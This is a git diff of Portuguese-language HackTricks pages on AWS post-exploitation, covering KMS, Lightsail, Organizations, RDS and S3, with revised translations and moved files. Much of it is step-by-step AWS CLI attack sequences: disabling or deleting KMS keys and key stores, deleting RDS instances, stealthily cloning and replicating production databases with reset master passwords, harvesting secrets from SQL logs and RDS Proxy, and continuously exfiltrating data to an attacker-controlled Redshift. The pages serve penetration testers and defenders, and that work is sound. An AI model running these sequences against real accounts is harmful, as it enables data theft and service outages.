Com a permissão `kms:DisableKey`, um ator pode desativar uma AWS KMS customer master key, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso para quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
|
||||
### Desativar Chave
|
||||
Com a permissão `kms:DisableKey`, um ator pode desativar uma customer master key do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma chave privada mantida pelo KMS juntamente com uma chave pública fornecida pelo usuário para calcular um segredo compartilhado ECDH.
|
||||
Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma private key mantida pelo KMS e uma public key fornecida pelo usuário para calcular um ECDH shared secret.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Com a permissão `kms:Sign`, um ator pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a private key, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
|
||||
Com a permissão `kms:Sign`, um agente pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -168,8 +168,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um ator pode modificar, desconectar ou deletar um AWS KMS Custom Key Store (CKS), tornando suas chaves mestras inoperantes. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar uma denial-of-service imediata. Restringir e monitorar essas permissões é, portanto, crítico.
|
||||
### DoS com Custom Key Stores
|
||||
Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperáveis. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Restringir e monitorar essas permissões é, portanto, crítico.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
@@ -179,4 +179,4 @@ aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --ne
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restaurar antigos snapshots de DB
|
||||
|
||||
Se o DB tiver snapshots, você pode **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
|
||||
|
||||
### Restaurar Snapshots de Instância
|
||||
|
||||
Snapshots de instância podem conter **informações sensíveis** de instâncias já deletadas ou informações sensíveis que foram deletadas na instância atual. **Crie novas instâncias a partir dos snapshots** e verifique-as.\
|
||||
Ou **exporte o snapshot para um AMI no EC2** e siga os passos de uma instância EC2 típica.
|
||||
|
||||
### Acessar Informações Sensíveis
|
||||
|
||||
Confira as opções de privesc do Lightsail para aprender diferentes maneiras de acessar informações sensíveis potenciais:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restaurar snapshots antigos do DB
|
||||
|
||||
Se o DB tiver snapshots, você pode ser capaz de **encontrar informações sensíveis que foram deletadas em snapshots antigos**. **Restaure** o snapshot em um **novo banco de dados** e verifique-o.
|
||||
|
||||
### Restaurar snapshots de instância
|
||||
|
||||
Snapshots de instância podem conter **informação sensível** de instâncias já deletadas ou informações sensíveis que foram deletadas na instância atual. **Crie novas instâncias a partir dos snapshots** e verifique-as.\
|
||||
Ou **exporte o snapshot para uma AMI no EC2** e siga os passos de uma típica instância EC2.
|
||||
|
||||
### Acessar informações sensíveis
|
||||
|
||||
Confira as opções de privesc do Lightsail para aprender diferentes maneiras de acessar possíveis informações sensíveis:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,17 +0,0 @@
|
||||
# AWS - Organizações Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizações
|
||||
|
||||
Para mais informações sobre AWS Organizations, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sair da Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
Para mais informações sobre AWS Organizations, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sair da Organização
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Para mais informações, veja:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se o atacante tiver permissões suficientes, ele poderia tornar uma **DB publicamente acessível** criando um snapshot da DB e, em seguida, uma DB publicamente acessível a partir do snapshot.
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, criar um DB publicamente acessível a partir desse snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas.
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente nos logs, o atacante poderia potencialmente usar essa informação para escalar privilégios ou executar ações não autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impacto Potencial**: Acesso a informações sensíveis ou execução de ações não autorizadas usando leaked credentials.
|
||||
**Impacto Potencial**: Acesso a informações sensíveis ou ações não autorizadas usando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Um atacante com essas permissões pode **DoS instâncias RDS existentes**.
|
||||
Um atacante com essas permissões pode **causar DoS em instâncias RDS existentes**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
@@ -73,28 +73,28 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
|
||||
Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante controlar o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potencial impacto**: Acesso a dados sensíveis no snapshot exportado.
|
||||
**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
|
||||
|
||||
### Replicação de Backups Automatizados entre Regiões para Restauração Sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuse a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS em outra Região AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados fora do ambiente monitorado em uma Região que os defensores podem não vigiar.
|
||||
Abuse cross-Region automated backups replication para duplicar silenciosamente os automated backups de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados out-of-band em uma Região que os defensores podem não monitorar.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
Permissões necessárias (mínimas):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` na Região de destino
|
||||
- `rds:ModifyDBInstance` na Região de destino
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
|
||||
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-la publicamente com credenciais controladas pelo atacante.
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-los publicamente com credenciais controladas pelo atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI de ponta a ponta (substitua os marcadores de posição)</summary>
|
||||
<summary>CLI de ponta a ponta (substitua os placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Habilitar logging SQL completo via DB parameter groups e exfiltrate via RDS log APIs
|
||||
### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` com as APIs de download de logs do RDS para capturar todas as instruções SQL executadas pelas aplicações (não são necessárias credenciais do engine do DB). Ative o SQL logging do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
|
||||
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas pelas aplicações (credenciais do DB engine não são necessárias). Ative o logging de SQL do engine e extraia os logs de arquivo via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
|
||||
|
||||
Permissões necessárias (mínimas):
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (apenas para anexar um parameter group customizado se a instância estiver usando o padrão)
|
||||
- `rds:RebootDBInstance` (para parâmetros que exigem reboot, ex.: PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
Passos
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Certifique-se de que um DB parameter group personalizado esteja anexado (não é possível editar o padrão)
|
||||
- Se a instância já usa um grupo personalizado, reutilize seu nome na próxima etapa.
|
||||
- Caso contrário, crie e anexe um que corresponda à família do engine:
|
||||
2) Garanta que um DB parameter group customizado esteja anexado (não é possível editar o padrão)
|
||||
- Se a instância já utiliza um grupo customizado, reutilize seu nome na próxima etapa.
|
||||
- Caso contrário, crie e anexe um compatível com a engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Ativar registro SQL detalhado
|
||||
3) Habilitar registro SQL detalhado
|
||||
- MySQL engines (imediato / sem reinicialização):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (requer reinicialização):
|
||||
- Motores PostgreSQL (requer reinicialização):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Deixe a workload rodar (ou gere queries). Statements serão gravados nos arquivos de log do engine
|
||||
4) Deixe a carga de trabalho rodar (ou gere consultas). As instruções serão gravadas nos arquivos de log do engine
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Descubra e baixe os logs (não são necessárias credenciais do DB)
|
||||
5) Descubra e baixe os logs (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -246,7 +246,7 @@ Exemplo de evidência (redigida):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Limpeza
|
||||
- Reverter parâmetros para os valores padrão e reiniciar se necessário:
|
||||
- Reverter os parâmetros para os padrões e reiniciar se necessário:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,11 +261,11 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impacto: Post-exploitation data access capturando todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs e PII.
|
||||
Impacto: Post-exploitation acesso a dados ao capturar todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primary. Um atacante pode criar um read replica a partir de uma instância de produção, resetar a replica's master password (isso não altera a primary), e, opcionalmente, expor a replica publicamente para exfiltrate data.
|
||||
Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, resetar a master password da réplica (isso não altera a primária) e, opcionalmente, expor a réplica publicamente para exfiltrate data.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBInstances`
|
||||
@@ -273,7 +273,7 @@ Permissões necessárias (mínimo):
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impacto: Acesso read-only aos dados de produção via uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção já que a primary permanece intocada e a replicação continua.
|
||||
Impacto: Acesso read-only aos dados de produção via uma réplica com credenciais controladas pelo atacante; menor probabilidade de detecção, já que a primária permanece intocada e a replicação continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Exemplo de evidência (MySQL):
|
||||
- Status da réplica DB: `available`, replicação de leitura: `replicating`
|
||||
- Replica DB status: `available`, read replication: `replicating`
|
||||
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de réplica somente leitura.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do ambiente green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem.
|
||||
Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais do master green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,18 +357,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impacto: Acesso somente leitura, mas com dados completos de um clone quase em tempo real da produção, sem modificar a instância de produção. Útil para extração discreta de dados e análise offline.
|
||||
Impacto: Acesso somente leitura, mas com acesso completo aos dados de uma cópia quase em tempo real da produção sem modificar a instância de produção. Útil para extração de dados furtiva e análise offline.
|
||||
|
||||
### SQL fora de banda via RDS Data API ativando o endpoint HTTP + redefinindo a senha master
|
||||
|
||||
Explorar Aurora para habilitar o endpoint HTTP do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (nenhum caminho de rede VPC necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
### SQL fora de banda via RDS Data API ativando HTTP endpoint + redefinindo a senha master
|
||||
|
||||
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (não é necessário caminho de rede VPC). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissões (mínimas):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (ou rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
- rds-data:ExecuteStatement (e rds-data:BatchExecuteStatement se usado)
|
||||
|
||||
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.
|
||||
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao banco de dados.
|
||||
|
||||
<details>
|
||||
<summary>CLI de ponta a ponta (exemplo Aurora MySQL)</summary>
|
||||
@@ -424,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notas:
|
||||
- Se SQL com múltiplas instruções for rejeitado pelo rds-data, faça chamadas execute-statement separadas.
|
||||
- Se multi-statement SQL for rejeitado por rds-data, emita chamadas execute-statement separadas.
|
||||
- Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn.
|
||||
- Garanta que o engine/version realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
- Garanta que o engine/versão realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
|
||||
|
||||
### Obter credenciais de DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Coletar credenciais do DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusar da configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado na autenticação do backend, depois ler o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas de `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais de DB. Se o segredo usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
|
||||
Abuse da configuração do RDS Proxy para descobrir o Secret do Secrets Manager usado para autenticação do backend, e então leia o Secret para obter as credenciais do banco de dados. Muitos ambientes concedem amplamente `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais do DB. Se o Secret usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
|
||||
|
||||
Permissões necessárias (mínimas):
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` no SecretArn referenciado
|
||||
- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave
|
||||
- Opcional quando o Secret usar uma CMK: `kms:Decrypt` nessa chave
|
||||
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; possibilita acesso direto ao DB ou movimento lateral adicional.
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
|
||||
|
||||
Passos
|
||||
```bash
|
||||
@@ -479,15 +480,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltração contínua e furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
### Exfiltração contínua furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abuse a integração zero‑ETL do Aurora PostgreSQL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso permissiva do Redshift que autorize CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
|
||||
Explorar a integração Aurora PostgreSQL zero‑ETL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
|
||||
- `rds-data:ExecuteStatement` (opcional; para popular dados se necessário)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -508,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurar a política de recurso do Redshift para permitir a origem Aurora</summary>
|
||||
<summary>2) Configurar a política de recursos do Redshift para permitir a origem do Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica)</summary>
|
||||
<summary>3) Criar Aurora PostgreSQL cluster (habilitar Data API e replicação lógica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -596,11 +597,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
Evidências observadas no teste:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- redshift describe-inbound-integrations: Status ACTIVE para Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e estado PendingDbConnectState antes da criação do DB.
|
||||
- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou o schema ztl e a tabela customers; selecionar de ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou schema ztl e tabela customers; a seleção de ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
|
||||
Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem uso de credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informações Sensíveis
|
||||
|
||||
Às vezes, você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, segredos do estado do terraform.
|
||||
|
||||
### Pivotagem
|
||||
|
||||
Diferentes plataformas podem estar usando S3 para armazenar ativos sensíveis.\
|
||||
Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou **páginas da web** podem ser servidas diretamente do S3. Um atacante com permissões de escrita pode **modificar o código** do bucket para **pivotar** para outras plataformas ou **assumir contas** modificando arquivos JS.
|
||||
|
||||
### Ransomware S3
|
||||
|
||||
